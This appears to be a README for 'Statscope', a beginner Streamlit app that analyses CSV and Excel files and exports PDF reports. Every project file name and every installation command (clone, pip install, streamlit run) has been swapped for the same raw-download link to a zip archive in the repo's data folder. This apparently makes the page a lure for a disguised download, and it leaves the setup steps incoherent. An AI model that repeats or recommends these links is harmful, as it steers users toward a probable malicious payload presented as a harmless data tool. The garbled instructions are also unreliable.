📊 Statscope

A beginner‑friendly Streamlit web app that helps you quickly understand CSV or Excel datasets through clear insights, visualizations, and an auto‑generated PDF report.

This project is designed for non‑technical users, students, and early data learners who want meaningful explanations without heavy statistics jargon.

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✨ Features

📂 File Support

• Upload CSV files
• Upload Excel files (.xlsx, .xls)

🧠 Explain Like I’m New Mode

• Toggle simple, human‑friendly explanations
• Avoids technical language when enabled

🔍 Automatic Analysis

• Dataset overview (rows, columns, date range)
• Missing data detection
• Numeric column analysis (mean, range, outliers)
• Categorical column summaries
• Correlation detection between numeric columns

📊 Visualizations

• Distribution (histogram) charts
• Correlation heatmap
• Category bar charts

📄 PDF Report Export

• Includes:
  • Dataset name
  • Summary statistics
  • Plain‑English insights
  • Embedded charts (histograms)
• One‑click download

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🖥️ Demo Preview

Once a file is uploaded, the app:

1. Previews the dataset
2. Explains what the numbers mean
3. Shows visual charts
4. Generates a downloadable PDF report

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🗂️ Project Structure

statscope/ │ ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Main Streamlit app ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Data analysis + PDF generation ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Chart creation functions ├── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Python dependencies └── https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip # Project documentation

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⚙️ Installation

1️⃣ Clone the repository

git clone https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
cd simple-data-analyzer
2️⃣ Create a virtual environment (recommended)
bash
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python -m venv venv
source venv/bin/activate   # macOS/Linux
venv\Scripts\activate      # Windows
3️⃣ Install dependencies
bash
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pip install -r https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
▶️ Run the App
bash
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streamlit run https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip
The app will open automatically in your browser.

📦 Requirements
Your https://github.com/Himanwell/statscope/raw/refs/heads/main/data/Software-sarsaparillin.zip should include:

nginx
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streamlit
pandas
matplotlib
reportlab
openpyxl
🧪 Supported Data Types
Type	Supported
Numeric	✅
Categorical	✅
Dates	✅ (auto‑detected)
IDs	🚫 (ignored automatically)

🧠 How Insights Are Generated
Skips ID‑like columns automatically

Uses:

Mean, median, min, max

IQR‑based outlier detection

Correlations shown only if strong enough

Beginner explanations simplify statistics into plain language

🚀 Who This Is For
Students learning data analysis

Teachers and educators

Non‑technical stakeholders

Anyone who wants quick insights without coding

🔮 Future Improvements (Planned)
PDF heatmap inclusion

Custom PDF themes

Column selection controls

AI‑generated recommendations

Export to Word / PowerPoint



🙌 Author
Ogunkoya Emmanuel Oluwakemi
Built with ❤️ using Python & Streamlit

If you find this useful, feel free to ⭐ the repo and share it!